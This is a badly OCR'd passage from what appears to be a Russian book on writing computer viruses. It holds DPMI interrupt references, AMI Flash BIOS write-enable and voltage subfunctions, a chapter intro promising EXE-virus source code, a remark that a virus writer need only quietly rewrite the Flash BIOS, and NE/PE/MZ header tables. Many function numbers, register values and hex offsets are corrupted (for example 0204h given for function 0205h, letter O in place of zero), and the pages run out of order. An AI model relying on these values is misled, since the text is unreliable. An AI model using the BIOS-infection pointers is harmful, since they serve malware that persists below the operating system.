DPMI, функция 0202k Получить вектор обработчика исключения процессора
Вход:
AX=0202h
BL - номер исключения (OOh-lFh)
Выход:
CF=0, если функция выполнена успешно
CX:(E)DX - селекторхмещение
CF=1, если при выполнении функции возникли ошибки
Значение, переданное в BL, некорректно
Описание.
Данная функция возвращает вектор обработчика исключения процессора.
Примечания.
Значение в СХ - селектор защищенного режима, а не сегмент реально-
го. В 32-битном режиме значение смещения возвращается в регистре
EDX.
DPMI, функция 0203k Установить вектор обработчика исключения процессора
Вход:
АХ-0203П
BL - номер исключения (OOh-lFh)
CX:(E)DX - селектор:смещение
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Значение, переданное в BL, некорректно
Описание.
Данная функция устанавливает вектор обработчика исключения про-
цессора.
Примечания.
Значение в СХ должно быть существующим селектором защищенного
режима, а не сегментом реального. В 32-битном режиме значение сме-
щения возвращается в регистре EDX.
DPMI, функция 0204h Получить вектор прерывания защищенного режима
Вход:
AX°0204h
BL - номер прерывания
Выход:
CF-0
CX:(E)DX - селектор:смещение
Описание.
Данная функция возвращает вектор обработчика прерывания защищен-
ного режима.
Примечания.
Значение в СХ - селектор защищенного режима, а не сегмент реального.
В 32-битном режиме значение смещения возвращается в регистре EDX.
DPMI, функция 0205k Установить вектор прерывания защищенного режима
Вход:
АХ-0204П
BL - номер прерывания
CX:(E)DX - селектор:смещение
Выход:
CF=0, если функция выполнена успешно
CF^l, если при выполнении функции возникли ошибки
Описание.
Данная функция устанавливает вектор обработчика прерывания защи-
щенного режима.
Примечания.
Значение в СХ должно быть существующим селектором защищенного
режима, а не сегментом реального. В 32-битном режиме значение сме-
щения возвращается в регистре EDX.
DPMI, функция 0300k Вызвать обработчик прерывания реального режима
Вход:
AX°0300h
BL - номер прерывания
ВН - флаги:
бит 0 - сбросить контроллер прерывания и адресную линию А20
биты 1-7 - зарезервированы и должны быть равны нулю
СХ - количество слов, которые надо скопировать из стека защищенно-
го режима в стек реального
ES:(E)DI - селектор:смещение структуры вызова реального режима
(Таблица Г-1)
Таблица Г-1. Формат структуры вызова реального режима.
Смещ. | Описание |
+00h | EDI |
+04h | ESI |
+08h | EBP |
+OCh | Зарезервировано |
+10h | EBX |
+14h | EDX |
+18h | ECX |
+lCh | EAX |
+20h | Флаги |
+22h | ES |
+24h | DS |
+26h | FS |
+28h | GS |
+2Ah | IP |
+2Ch | CS |
+2Eh | SP |
+30h | SS |
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - селекторхмещение модифицированной структуры вызо-
ва реального режима
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция вызывает обработчик прерывания реального режима.
Примечания.
Поля CS и IP этой функцией игнорируются. Функция вызывает обра-
ботчик, адрес которого указан в таблице прерываний. Если поля SS и
SP равны нулю, то стек выделяется DPMI. 32-битные программы дол-
жны использовать ES:EDI для адресации структуры.
DPMI, функция 0400h Получить версию DPMI
Вход:
AX=0400h
Выход:
CF-0
АН - версия DPMI
AL - подверсия DPMI
BX - флаги:
Бит 0=1, если программа запущена под управлением DPMI
для 80386
Бит 1=1, если процессор вернулся в реальный режим для обработки
прерываний
Бит 2=1, если поддерживается виртуальная память
Бит 3 - зарезервирован и не определяется
Остальные биты зарезервированы для использования в будущем
и должны быть равны нулю.
CL - тип процессора:
CL-2 - 80286
CL=3 - 80386
CL-4 - 80486
DL - текущее значение базы первого контроллера прерываний
DH - текущее значение базы второго контроллера прерываний
Описание.
Данная функция возвращает версию DPMI.
DPMI, функция 0500k Получить информацию о свободной памяти
Вход:
AX-0500h
ES:(E)DI - селектор:смещение 30-байтного буфера
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - селектор:смещение, содержащий структуру
(Таблица Г-2).
CF°1, если при выполнении функции возникли ошибки
Описание.
Данная функция возвращает информацию о свободной памяти.
Примечания.
32-битные программы должны использовать ES:EDI для адресации бу-
фера. Только первое поле структуры гарантированно содержит правиль-
ное значение, остальные поля, в случае, если они не поддерживаются,
содержат OFFFFFFFFh (-1).
Таблица Г-2. Формат структуры информации о свободной памяти.
Смещ. | Описание. | |
+00h | Наибольший доступный блок (в байтах) | |
+04h | Максимальное количество доступных незаблокированных страниц | |
+08h | Максимальное количество доступных заблокированных страниц | |
+OCh | Размер линейного адресного пространства в страницах | |
+10h | Общее количество незаблокированных страниц | |
+14h | Количество свободных страниц | |
+18h | Общее количество физических страниц | |
+lCh | Размер свободного линейного адресного пространства в страницах | |
+20h | Размер страничного файла или раздела в страницах | |
+24h-2Fh | Зарезервировано |
DPMI, функция 0501k Выделить блок памяти
Вход:
AX=0501h
ВХ:СХ - размер блока свободной памяти, который нужно выделить
(в байтах)
Выход:
CF=0, если функция выполнена успешно
ВХ:СХ - линейный адрес выделенного блока памяти
SI:DI - индекс блока памяти (используется для изменения размера
и освобождения памяти)
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция выделяет блок памяти.
Примечания.
Данная функция не выделяет никаких дескрипторов.
DPMI, функция 0502k Освободить блок памяти
Вход:
AX=0502h
SLDI - индекс блока памяти
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция освобождает блок памяти.
Примечания.
Программа должна освободить все дескрипторы, которые были выделе-
ны для адресации этого блока памяти.
DPMI, функция 0503k Изменить размер блока памяти
Вход:
AX=0503h
ВХ:СХ - нужный размер блока памяти (в байтах)
SLDI - индекс блока памяти
Выход:
CF=0, если функция выполнена успешно
ВХ:СХ - новый линейный адрес выделенного блока памяти
SLDI - новый индекс блока памяти (используется для изменения
размера и освобождения памяти)
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция изменяет размер блока памяти, выделенного функци-
ей 0501h.
Примечания.
Данная функция может изменить линейный адрес и индекс блока памя-
ти. Программа должна изменить все дескрипторы, которые были выде-
лены для адресации этого блока памяти, а также для дальнейшей
работы с блоком использовать новый индекс. Эта функция выдаст
ошибку, если размер блока памяти будет нулевым.
DPMI, функция 0900h Получить состояние и запретить виртуальные прерывания
Вход:
AX°0900h
Выход:
CF=0
Виртуальные прерывания запрещены
AL=0 - виртуальные прерывания были запрещены
AL=1 - виртуальные прерывания были разрешены
Описание.
Данная функция возвращает текущее состояние виртуальных прерыва-
ний, а затем запрещает виртуальные прерывания.
Примечания.
Регистр АН не будет изменен этой функцией. Для возвращения вирту-
альных прерываний в прежнее состояние нужно выполнить INT 31h.
DPMI, функция 0901k Получить состояние и разрешить виртуальные прерывания
Вход:
AX°0901h
Выход:
CF=0
Виртуальные прерывания разрешены
AL=0 - виртуальные прерывания были запрещены
AL=1 - виртуальные прерывания были разрешены
Описание.
Данная функция возвращает текущее состояние виртуальных прерыва-
ний, а затем разрешает виртуальные прерывания.
Примечания.
Регистр АН не будет изменен этой функцией. Для возвращения вирту-
альных прерываний в прежнее состояние нужно выполнить INT 31h.
DPMI, функция 0902k Получить состояние виртуальных прерываний
Вход:
АХ°0902Ь
Выход:
CF-0
AL^O - виртуальные прерывания были запрещены
AL=1 - виртуальные прерывания были разрешены
Описание.
Данная функция возвращает текущее состояние виртуальных прерываний.
DPMI, функция OOOAh Создать алиасный дескриптор для сегмента кода
Вход:
AX-OOOAh
ВХ - селектор сегмента кода, для которого надо создать алиасный
дескриптор.
Выход:
CF=0, если функция выполнена успешно
AX - новый селектор данных
CF=1, если при выполнении функции возникли ошибки
Описание.
Создает дескриптор данных с таким же базовым адресом и пределом,
как у указанного сегмента кода.
Примечания.
Созданный этой функцией алиасный дескриптор можно удалить функ-
цией OOOlh.
DPMI, функция OOOBh Получить дескриптор
Вход:
AX=OOOBh
ВХ - селектор
ES:(E)DI - указатель на 8-байтный буфер, в который нужно скопиро-
вать дескриптор.
Выход:
CF=0, если функция выполнена успешно
ES:(E)DI - указатель на 8-байтный буфер, содержащий дескриптор
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция копирует элемент таблицы дескрипторов LDT, соот-
ветствующий указанному селектору, в 8-байтный буфер.
Примечания.
32-битные программы должны использовать ES:EDI для адресации бу-
фера, 16-битные - ES:DI.
DPMI, функция OOOCh Установить дескриптор
Вход:
AX-OOOCh
ВХ - селектор
ES:(E)DI - указатель на 8-байтный буфер, содержащий дескриптор
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция заносит содержимое 8-байтного буфера в элемент таб-
лицы дескрипторов LDT, соответствующий указанному селектору.
Примечания.
32-битные программы должны использовать ES:EDI для адресации бу-
фера, 16-битные - ES:DI. С помощью этой функции можно изменить
только те дескрипторы, которые выделены функцией OOOOh.
DPMI, функция OOODh Выделить дескриптор
Вход:
AX°OOODh
ВХ - селектор
Выход:
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная функция выделяет дескриптор, соответствующий указанному
селектору.
Примечания.
Созданный этой функцией дескриптор можно удалить функцией 000 lh.
DPMI, функция OOOOh Выделить один или несколько дескрипторов в таблице LDT
Вход:
AX=OOOOh
СХ - количество дескрипторов, которые необходимо выделить
Выход:
CF=0, если функция выполнена успешно
AX - базовый селектор
CF=1, если при выполнении функции возникли ошибки
Описание.
Выделяет один или несколько дескрипторов в таблице LDT. Созданные
дескрипторы должны быть инициализированы создавшим их приложе-
нием.
Примечания.
Если создавалось более одного дескриптора, то регистр АХ содержит
селектор первого из них, и для получения приращения до следующего
селектора нужно воспользоваться функцией ОООЗЬ. Созданным дескрип-
торам будет установлен тип данных с нулевыми базовым адресом
и приращением.
ЕХЕ-ВИРУСЫ
В этой главе рассказано о ви-
русах, заражающих ЕХЕ-фай-
лы. Приведена классифика-
ция таких вирусов, подробно
рассмотрены алгоритмы их
работы, отличия между
ними, достоинства и недо-
статки. Для каждого типа
вирусов представлены исход-
ные тексты с подробными
комментариями. Также приве- .
дены основные сведения
о структуре и принципах ра-
боты ЕХЕ-программы.
СОМ-файлы (небольшие программы, написанные в основном на языке
Assembler) медленно, но верно устаревают. Им на смену приходят пуга-
ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею-
щие заражать ЕХЕ-файлы.
Flash AMIBIOS, подфункция 02h Сохранить текущее состояние чипа в подготовленной области
Вход:
AH-EOh
AL=02h
ES:DI - указатель на буфер для сохранения текущего состояния чипа
Выход:
AL-FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная подфункция сохраняет текущее состояние чипа в обозначенной
области данных и подготавливает чип к разрешению доступа в EPROM.
Примечание.
Необходимо сохранить текущее состояние кэш, управления электропи-
танием (Power Management), затенения (Shadow) и прочее. При нефа-
тальной ошибке будет возможно вернуть эти значения. Подготовка чипа
к работе с Flash EPROM включает в себя отключение затенения RAM,
внешнего и внутреннего кэш, управления электропитанием и так далее.
Необходимо сохранить эти значения перед началом операции. Отключе-
ние кэш позволит с полной уверенностью обращаться напрямую в ад-
ресное пространство ROM, не беспокоясь о том, что кэш может этому
помешать. Если нужное адресное пространство ROM кэшируется толь-
ко при включенном затенении "Shadow Enabled" (то есть кэшируется
только затененная RAM, а не ROM), отмена кэширования происходит
при отмене затенения RAM, и в данном случае отмены кэширования не
требуется. Если ROM кэшируется, то кэш необходимо отключить.
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 03h Восстановить состояние чипа
Вход:
AH-EOh
AL=03h
ES:DI - указатель на буфер, где хранится состояние чипа, которое
необходимо восстановить
Выход:
AL-FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Данная подфункция восстанавливает состояние чипа из области памя-
ти, в которую он был сохранен подфункцией 02h.
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 04h Понизить напряжение программирования (V )
Вход:
AH=EOh
AL°04h
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Понижает напряжение программирования (V ) до нормального уровня.
Необходима задержка для стабилизации напряжений.
ю*
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
06h "Защитить Flash от записи".
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 05h Повысить напряжение программирования (V )
Вход:
AH-EOh
AL=05h
Выход:
AL°FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Повышает V до уровня, необходимого для программирования (12В для
12-вольтовых Flash EPROM). Необходима задержка для стабилизации
напряжений.
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
07h "Разрешить запись во Flash".
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 06h Защитить Flash от записи
Вход:
AH-EOh
AL°06h
Выход:
AL-FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Делает Flash защищенным от записи. Необходима задержка для стаби-
лизации напряжений.
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
04h "Понизить напряжение программирования".
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 07h Разрешить запись во Flash
Вход:
AH=EOh
AL-07h
Выход:
AL=FAh
CF^O, если функция выполнена успешно
CF°1, если при выполнении функции возникли ошибки
Описание.
Эта функция разрешает писать во Flash.
Примечание.
На некоторых компьютерах эта подфункция совпадает с подфункцией
05h "Повысить напряжение программирования".
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 08h Выбрать Flash
Вход:
AH-EOh
AL=08h
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Если на основной плате компьютера присутствуют и обычный, и Flash
EPROM, то выбирается Flash. Данная подфункция при необходимости
может обеспечить задержку для стабилизации. Если в использовании
данной подфункции нет необходимости (присутствует только Flash
EPROM), она возвращает значение "Успешное выполнение".
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция 09h Отменить выбранный Flash
Вход:
AH-EOh
AL=09h
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Отменяет выбранный подфункцией 08h Flash.
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция FFh Сгенерировать CPU Reset (рестарт процессора).
Вход:
AH°EOh
AL=FFh
Описание.
Генерирует CPU Reset (рестарт процессора).
Flash AMIBIOS, подфункция OAh Проверить доступ к адресам памяти
Вход:
AH=EOh
AL°OAh
ES - сегмент памяти для верификации
ВХ - количество требуемых параграфов памяти
Выход:
AL°FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Проверяет доступность указанной памяти. Подфункция необходима
в ситуации, если некоторые участки памяти недоступны вследствие от-
ключения кэш (80000-9FFFF может быть недоступна) и еще в некото-
рых случаях. Если в использовании данной подфункции нет необходи-
мости, она возвращает значение "Успешное выполнение".
Изменяемые регистры: AX, в случае ошибки ВХ=0
Flash AMIBIOS, подфункция OBh Сохранить состояние внутреннего кэш
Вход:
AH=EOh
AL=OBh
ES:DI - указатель на буфер для сохранения
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Сохраняет текущее состояние внутреннего кэш. Перед сохранением не-
обходима проверка на доступность внутреннего кэш для конкретного
железа. Буфер для сохранения должен быть не менее 16 байт. В случае
отсутствия внутреннего кэш выдается ошибка.
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция OCh Сохранить состояние внутреннего кэш
Вход:
AH=EOh
AL=OCh
ES:DI - указатель на буфер для сохранения
Выход:
AL=FAh
CF=0, если функция выполнена успешно
CF=1, если при выполнении функции возникли ошибки
Описание.
Восстанавливает состояние внутреннего кэш, сохраненное подфункцией
OBh.
Примечание.
В защищенном режиме вызывает ошибку.
Изменяемые регистры: АХ
Flash AMIBIOS, подфункция Oih Получить требования к сохранению состояния чипа
Вход:
AH-EOh
AL=01h
10-1436
Выход:
AL-FAh
CF=0, если функция выполнена успешно
ВХ - размер области памяти (в байтах), необходимый для сохране-
ния текущего состояния чипа
CF=1, если при выполнении функции возникли ошибки
Описание.
Возвращает размер области памяти (в байтах), необходимый для сохра-
нения текущего состояния чипа.
Изменяемые регистры: АХ, ВХ
Flash AMIBIOS, подфункция ООН Получить номер версии интерфейса Flash BIOS
Вход:
AH=EOh
AL=OOh
Выход:
AL-FAh
CF=1 - интерфейс Flash-BIOS отсутствует
CF=0 - интерфейс Flash-BIOS присутствует
ВХ - номер версии в формате BCD
Описание.
Возвращает номер версии интерфейса Flash-BIOS в BCD-формате. На-
пример, версия 2.00 возвратит в ВХ число 0200h.
Примечание.
Эту функцию можно использовать для детектирования наличия интер-
фейса Flash-BIOS. При возврате регистр AL должен обязательно быть
равен FAh.
Изменяемые регистры: АХ, ВХ
Flash BIOS Новое место для вирусов
Flash-память - энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS - Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована - это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру - это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.
Формат таблицы ресурсов
(смещения относительно начала входа каж-
дого ресурса). Значения в диапазоне смещений 02-12h повторяются
в таблице до тех пор, пока величина по смещению 02h не станет равной
нулю. Значения в диапазоне от OAh до 12h повторяются столько раз,
сколько указано по адресу 04h.
Формат заголовка NE-executable ЕХЕ-файла
В состав старого заголовка входят:
- обычный ЕХЕ-заголовок (Таблица А-2);
- зарезервированная часть;
- указатель на новый заголовок (если в ЕХЕ-заголовке в начале таб-
лицы перемещаемых элементов - по смещению 18h - стоит 40h или
больше, то слово, расположенное по смещению 3Ch, содержит сме-
щение начала нового заголовка);
- DOS-программа (STUB).
В состав нового заголовка входят:
- инфоблок (Таблица А-3);
- таблица сегментов (Таблица А-4);
- таблица ресурсов (Таблица А-5);
- таблица резидентных имен;
- таблица ссылок на модули;
/
Таблица А-2. Формат обычного ЕХЕ-заголовка в NE-executable ЕХЕ-файпе.
Смещ. |
Описание |
+00h |
HdrSize - длина заголовка в параграфах (по 16 байт) |
+20h |
Резерв |
+3Ch |
Смещение начала нового заголовка |
+40h |
DOS-программа (STUB) |
Таблица А-3. Формат NE-заголовка.
Смещ. |
Описание |
|
+00h |
Сигнатура NE-executable ('NE') |
|
+02h |
Версия редактора связей |
|
+03h |
Номер версии редактора связей |
|
+04h |
Смещение таблицы входов (относительно начала заголовка) |
|
+06h |
Длина таблицы входов (в байтах) |
|
+08h |
Зарезервировано: 32-битная контрольная сумма |
|
+OCh |
Набор флагов: (16 бит) |
|
Бит 0 |
SINGLEDATA, в файле содержится только один сегмент данных. Если файл является DLL, бит устанавливается редактором связей |
Таблица А-3. Формат NE-заголовка. (Продолжение}
Смещ. |
Описание |
||
+OCh |
Набор флагов: (16 бит) |
||
Бит1 |
MULTIPLEDATA, в файле содержится несколько сегментов данных. Независимо от этого формат файла NOAUTODATA, и в нем нет автосегментов данных |
||
|
Бит 2 |
Зарезервировано |
|
|
БитЗ |
Файл может быть загружен только в защищенном режиме |
|
|
Бит 8 |
Содержится код, не совместимый с библиотеками MSWindows для OS/2 |
|
|
Бит 9 |
Код, совместимый с библиотеками MS Windows |
|
|
Бит 11 |
В первом сегменте содержится код, загружающий прикладную программу |
|
Бит 13 |
Файл был создан, несмотря на обнаруженные редактором связи ошибки |
||
Бит 14 |
Исполняемый файл размещается в EMS |
||
Бит 15 |
Библиотечный модуль. При загрузке библиотеки CS:IP указывает на процедуру инициализации, а регистр АХ равен определителю модуля |
||
+OEh |
Число автосегментов данных: если SINGLEDATA равен нулю, MULTIPLEDATA не указывается |
||
+10h |
Начальный размер (в байтах) локальной кучи. При ее отсутствии равен нулю |
||
+12h |
Начальный размер стека (в байтах). Равен нулю, если SS не равно DS, как в библиотеках |
||
+14h |
CS:IP |
||
+18h |
SS:SP |
||
+lCh |
Число входов в таблице сегментов |
||
+lEh |
Число входов в таблице ссылок на модули |
||
+20h |
Число байт в таблице нерезидентного имени i |
||
+22h |
Относительное смещение начала таблицы сегментов от начала нового заголовка |
||
+24h |
Относительное смещение начала таблицы ресурсов от начала нового заголовка |
||
+26h |
Относительное смещение начала таблицы резидентного имени от начала нового заголовка |
Таблица А-3. Формат NE-заголовка. (Окончание)
Смещ. |
Описание |
|
+28h |
Относительное смещение начала таблицы ссылок на модули от начала нового заголовка |
|
+2Ah |
Относительное смещение начала таблицы импортируемых имен от начала нового заголовка |
|
+2Ch |
Относительное смещение начала таблицы нерезидентных имен от начала файла |
|
+30h |
Число перемещаемых точек входа^- |
|
+32h |
Множитель смещении. Используется при размещении логических секторов. Выражается степенью логарифма по основанию 2. По умолчанию равен 9 (512) |
|
+34h |
Число ресурсных сегментов |
|
+36h |
Флаги, определяющие рабочую операционную систему |
|
Бит 0 |
Неизвестная |
|
Бит1 |
OS/2 |
|
Бит 2 |
Microsoft Windows |
|
БитЗ |
Зарезервировано |
|
Бит 4 |
Зарезервировано |
|
+37h |
Дополнительные флаги |
|
Бит1 |
Программа для Windows 2.x. Может быть запущена в защищенном режиме версии З.х |
|
Бит 2 |
Программа для 2.x. Может использовать пропорциональные шрифты |
|
БитЗ |
В файле содержится область быстрой загрузки |
|
+38h |
Указатель начала области быстрой загрузки (используется только Windows) |
|
+3Ah |
Длина области быстрой загрузки (используется только Windows) |
|
+3Ch |
Зарезервировано ' |
|
+3Eh |
Версия Windows (используется только Windows) |
Смещ. |
Описание |
|
+00h |
Смещение логического сектора (в байтах)относительно начала файла. При отсутствии сегмента данных равно нулю |
|
+02h |
Длина сегмента в файле. Если значение 0, то смещение 64 Кбайт |
|
+04h |
Флаги |
|
Бит 0 |
Сегмент данных, иначе сегмент кода |
|
Бит 1 |
В загрузчике имеется память, отведенная для сегмента |
|
Бит 2 |
Сегмент загружен |
|
БитЗ |
Зарезервировано |
|
Бит 4 |
MOVEABLE сегмент, иначе - FIXED |
|
БитЗ |
Сегмент PURE или SHAREABLE, иначе - IMPURE или NONSHAREABLE |
|
Бит 6 |
PRELOAD сегмент, иначе - LOADONCALL |
|
Бит? |
Для сегмента кода - EXECUTEONLY, для сегмента данных - READONLY |
|
Бит 8 |
В сегменте содержатся перемещаемые данные |
|
Бит 9 |
Подстраивающийся сегмент |
|
Биты 10,11 |
Зарезервировано |
|
Бит 12 |
Сбрасываемый (discardable) сегмент |
|
Биты 13-15 |
Зарезервировано |
|
+06h |
Минимальный объем (в байтах), необходимый для размещения сегмента (0 соответствует 64Кбайт) |
Таблица А-5. Формат таблицы ресурсов.
Смещ. | Описание |
+00h | Единица смещения данных ресурса |
+02h |
Тип ресурса. Если установлен старший бит, то это один из типов ресурсов, описанных в Windows.h, иначе это смещение относительно начала таблицы ресурсов строки, указывающей тип ресурса. Тип ресурса 0 указывает на конец записей ресурсов |
+04h | Число ресурсов данного типа |
+06h | Зарезервировано |
+OAh |
Смещение данных ресурса относительно начала файла в единицах, указанных в начале таблицы ресурсов |
Таблица А-5. Формат таблицы ресурсов. (Окончание) | ||
Смещ. | Описание | |
+OCh | Длина ресурса (в байтах) | |
+OEh | Флаги | |
Бит 4 | MOVEABLE | |
Бит 5 | PURE - возможность совместного использования | |
Бит 6 | PRELOAD - предварительно загружаемый | |
+10h |
Определяет (если старший бит равен единице) или указывает на ID ресурса смещение относительно начала таблицы ресурсов |
|
+12h | Зарезервировано | |
+16h | Длина или имя типа. Ноль находится в конце таблицы ресурсов | |
+17h | Определяет тип ресурса или текст имени. В имени различаются кейсы | |
Таблица А-6. Таблица входов перемещаемого сегмента. | ||
Смещ. | Описание | |
+00h | Флаги | |
Бит 0 | Экспортируемый вход | |
Бит1 | Сегмент совместно использует глобальный сегмент данных | |
Биты 3-7 |
Если в ЕХЕ-файле содержится код, выполняющий кольцевые переходы, то это - число слов, составляющих стек. Во время кольцевых переходов эти слова должны копироваться из одного кольца в другое |
|
+01h | Инструкция INT 3Fh | |
+03h | Номер сегмента |
Смещ. Описание | ||
+00h | Флаги | |
Бит 0 | Экспортируемый вход ' | |
Бит1 | Сегмент совместно использует глобальный сегмент данных | |
Биты 3-7 |
Если в ЁХЕ-файле содержится код, выполняющий кольцевые переходы, то это - число слов, составляющих стек. Во время кольцевых переходов эти слова должны копироваться из одного кольца в другое |
|
+01h | Смещение сегмента |
- таблица входов (Таблицы А-6 и А-7);
- таблица нерезидентных имен.
В заголовке нового стиля содержится вся информация, необходимая
для сегментированного исполняемого файла - заголовки таблицы сег-
ментов, ресурсов и имен.
Сразу за заголовком находится таблица сегментов. В ней содержится
описание каждого сегмента исполняемого файла.
Формат заголовка PE-executable EXE-файла
В состав старого заголовка входят:
- обычный ЕХЕ-заголовок (Таблица А-8);
- зарезервированная часть;
Таблица А-8. Формат обычного ЕХЕ-заголовка в PE-executable ЕХЕ-файле.
Смещ. |
Описание |
+00h |
DOS-заголовок |
+20h |
Резерв |
+3Ch |
Смещение начала РЕ-заголовка |
+40h |
DOS-программа (STUB) |
Таблица А-9. Формат РЕ-заголовка.
—————г Смещ. |
— — — - — — — 1— — — — —•— —-—!—————————1 Описание |
+00h |
РЕ' • Сигнатура |
+04h |
Тип процессора: OOOh - неизвестный тип 14Ch - 80386 14Dh - 80486 14Eh - 80586 |
+06h |
Количество входов в таблице объектов |
+08h |
Время и дата создания или модификации файла линкером |
+OCh |
Зарезервировано |
+14h |
Количество необходимых байт в NT-заголовке |
+16h |
Флаги: OOOOh - программные данные 0002h - запускаемый код (если этот бит не включен, значит во время линковки произошли ошибки) 0200h - если код не может быть загружен с базы кода, то его не надо загружать 2000h - библиотечные данные |
+18h |
Зарезервировано |
+lAh |
Версия и подверсия линковщика, создавшего данный файл |
+lCh |
Зарезервировано |
+28h |
Виртуальный адрес точки входа или процедуры инициализации библиотеки |
+2Ch |
Зарезервировано |
+34h |
Смещение первого файла данных в файле |
+38h |
Выравнивание объектов. Содержит величину степени 2 числа, на которое должны быть выровнены объекты. Число может быть в диапазоне между 512 и 256 Мбайт. По умолчанию - 64 Кбайт |
+3Ch |
Выравнивание файла. Содержит величину степени 2 числа, на которое должны быть выровнены страницы. Число может быть в диапазоне между 512 и 64 Кбайт |
+40h |
Номера версии и подверсии операционной системы, необходимой для запуска данной программы |
+44h |
Номера пользовательской версии и подверсии. Устанавливаются во время |
Таблица А-9. Формат РЕ-эаголовка. (Продолжение)
Смещ. |
Описание |
+48h |
Номера версии и подверсии подсистемы NT, необходимой для запуска данной программы |
+4Ch |
Зарезервировано |
+50h |
Виртуальный размер данных программы (в байтах) |
+54h |
Полный размер заголовка (в байтах), включая DOS-заголовок (старый), РЕ-заголовок и таблицу объектов |
+58h |
Контрольная сумма файла для запуска. Устанавливается линковщиком в ноль |
+5Ch |
NT подсистема, необходимая для запуска данной программы: OOOOh - неизвестная 0002h - графический интерфейс Windows ОООЗЬ - консоль Windows 0005h - консоль OS/2 0007h - консоль Posix |
+5Eh |
Флаги DLL: 000 lh - процесс инициализации библиотеки 0002h - процесс завершения библиотеки 0004h - поток инициализации библиотеки OOOSh - поток завершения библиотеки |
+60h |
Размер стека, необходимый программе |
+64h |
Обязательный размер стека |
+68h |
Размер локальной кучи, резервируемый для программы |
+6Ch |
Обязательный размер локальной кучи |
+70h |
Зарезервировано |
+74h |
Размер массива смещений/размеров, расположенного ниже |
+78h |
Смещение таблицы экспорта. Смещение отсчитывается от значения поля 34h (смещение первого байта данных в файле) |
+7Ch |
Полный размер таблицы экспорта |
+80h |
Смещение таблицы импорта. Смещение отсчитывается от значения поля 34h (смещение первого байта данных в файле) |
+84h |
Полный размер таблицы импорта |
+88h |
Смещение таблицы ресурсов. Смещение отсчитывается от значения поля 34h (смещение первого байта данных в файле) |
+8Ch |
Полный размер таблицы ресурсов |
Таблица А-9. Формат РЕ-заголовка. /Окончание)
- указатель на РЕ-заголовок (если в ЕХЕ-заголовке в начале таблицы
перемещаемых элементов - по смещению 18h - стоит 40h или боль-
ше, то слово, расположенное по смещению 3Ch, содержит смещение
начала РЕ-заголовка);
- DOS-программа (STUB).
В состав нового заголовка входят:
- РЕ-заголовок (Таблица А-9);
- таблица объектов (Таблица А-10);
- таблицы ресурсов, импортируемых и экспортируемых имен, на-
стройки адресов.
Таблица А-10. Формат таблицы объектов.
Смещ. |
Описание |
+00h |
Имя объекта в формате ASCII, дополненное до восьми байт нулями |
+08h |
Виртуальный размер объекта. Размер памяти, который необходимо выделить перед загрузкой объекта |
+OCh |
Смещение объекта в файле. Смещение отсчитывается от значения поля 34h в РЕ-заголовке (смещение первого байта данных в файле) |
+10h |
Физический размер инициализированных данных объекта. |
+14h |
Физическое смещение первой страницы объекта в файле. Смещение отсчитывается от начала ЕХЕ-файла |
+18h |
Зарезервировано |
+24h |
Флаги объекта: 00000020h - объект кода 00000040h - объект инициализированных данных OOOOOOSOh - объект неинициализированных данных 04000000h - объект не должен быть кеширован OSOOOOOOh - объект не должен быть разбит на страницы lOOOOOOOh - объект общего доступа 20000000h - выполняемый объект 40000000h - читаемый объект SOOOOOOOh - записываемый объект |
Форматы заголовков ЕХЕ-файлов Формат заголовка обычного ЕХЕ-файла
Таблица А-1. Формат заголовка обычного ЕХЕ-файла.
Смещ. |
Описание |
+00h |
Signature - сигнатура ЕХЕ-файла ('MZ'). Инициалы Марка Збиковски, одного из разработчиков MS-DOS. |
+02h |
PartPag - длина последней станицы |
+04h |
PageCnt - длина файла в страницах (по 512 байт) |
+06h |
ReloCnt - число элементов в таблице настройки адресов |
+08h |
HdrSize - длина заголовка в параграфах (по 16 байт) |
+OAh |
MinMem - минимальный объем памяти, которую нужно выделить после загруженного модуля (в параграфах) |
+OCh |
